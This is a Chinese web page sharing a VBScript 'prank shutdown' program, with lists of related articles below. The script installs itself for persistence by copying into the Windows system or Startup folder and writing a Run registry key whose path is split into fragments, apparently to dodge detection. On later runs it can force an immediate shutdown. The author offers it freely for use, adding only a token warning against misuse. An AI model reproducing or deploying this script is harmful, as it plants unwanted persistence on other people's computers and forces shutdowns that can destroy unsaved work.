vb下的惡搞關(guān)機程序
來源:本站原創(chuàng)|時間:2020-01-10|欄目:vb|點擊: 次
額,不多介紹了,能看懂的就拿走,看不懂的拿走也沒用。
復(fù)制代碼 代碼如下:
Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if (fs.FileExists(dirwin&"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
else
c.Copy(dirwin&"\wxb.vbs")
end if
end if
sub Show_And_Do(s)
dim f
r = MsgBox ("警告:請不要隨便動我的電腦! " & Chr(13) & Chr(10) & "確定->下次一定會先征求同意的" & Chr(10) & "取消->愛咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")
If r = 1 Then
if s="Startup" then
set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin&"\wxb.vbs")
f.Delete()
end if
Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub
好了,代碼分享給大家了,不要隨便拿去搞破壞!
您可能感興趣的文章
- 01-10下載文件到本地運行的vbs
- 01-10什么是一個高效的軟件
- 01-10VBS中的正則表達式的用法大全 <font color=red>原創(chuàng)&
- 01-10VBS中SendKeys的基本應(yīng)用
- 01-10VBS中Select CASE的其它用法
- 01-10VBScript的入門學習資料
- 01-10VBScript教程 第十二課VBScript頁面的簡單樣例
- 01-10VBS教程:正則表達式簡介
- 01-10VBS教程:方法-Copy 方法
- 01-10VBS教程:方法-Move 方法


閱讀排行
本欄相關(guān)
- 01-10下載文件到本地運行的vbs
- 01-10飄葉千夫指源代碼,又稱qq刷屏器
- 01-10SendKeys參考文檔
- 01-10什么是一個高效的軟件
- 01-10VBS中的正則表達式的用法大全 &l
- 01-10exe2swf 工具(Adodb.Stream版)
- 01-10VBS中SendKeys的基本應(yīng)用
- 01-10用VBSCRIPT控制ONSUBMIT事件
- 01-10VBScript教程 第十一課深入VBScript
- 01-10VBScript語法速查及實例說明
隨機閱讀
- 08-05dedecms(織夢)副欄目數(shù)量限制代碼修改
- 01-10SublimeText編譯C開發(fā)環(huán)境設(shè)置
- 08-05織夢dedecms什么時候用欄目交叉功能?
- 01-10使用C語言求解撲克牌的順子及n個骰子
- 01-10delphi制作wav文件的方法
- 08-05DEDE織夢data目錄下的sessions文件夾有什
- 01-11Mac OSX 打開原生自帶讀寫NTFS功能(圖文
- 04-02jquery與jsp,用jquery
- 01-11ajax實現(xiàn)頁面的局部加載
- 01-10C#中split用法實例總結(jié)